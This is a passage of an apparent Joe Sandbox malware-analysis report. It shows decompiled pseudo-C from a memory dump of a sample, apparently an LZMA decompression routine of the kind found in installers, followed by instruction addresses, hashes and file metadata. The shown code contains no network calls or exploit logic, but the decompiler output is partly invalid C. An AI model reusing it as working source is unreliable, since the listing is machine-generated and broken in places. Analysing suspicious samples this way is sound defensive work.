											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406f5b
0x00406f5b
0x00406f5f
0x00406f84
0x00406f8e
0x00000000
0x00406f61
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6e
0x00406f72
0x00406f72
0x00406f75
0x0040704f
0x0040704f
0x00407056
0x00407056
0x00407059
0x00407060
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x0040700d
0x0040700d
0x0040700d
0x004067a9
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00407195
0x00000000
0x00407195
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00407007
0x00407007
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00000000
0x004069b2
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406977
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x0040698e
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00000000
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00000000
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00000000
0x00406cfd
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00406f91
0x00406f91
0x00000000
0x00000000
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x00000000
0x00407048
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00000000
0x00000000
0x00407109
0x0040710c
0x0040700d
0x0040700d
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x00000000
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x004071ab
0x004071b1
0x004071b3
0x004071ba
0x004071bc
0x004071c3
0x004071c7
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x0040700d
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x004070ea
0x00000000
0x00406f5f

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76451a61548a05875e54a201c0622e54c4b3ee1b55beed09f1cff06290f44a2f
Instruction ID: 66e4c3ae890465860883969c5b36e42f4395a0ef1606ee2efde14a16b44166c2
Opcode Fuzzy Hash: 76451a61548a05875e54a201c0622e54c4b3ee1b55beed09f1cff06290f44a2f
Instruction Fuzzy Hash: F9913171D04229CBDF28CF98C8447ADBBB1FF44305F14816AD856BB281C778AA86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406C71 Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406C71() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M004071C8))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
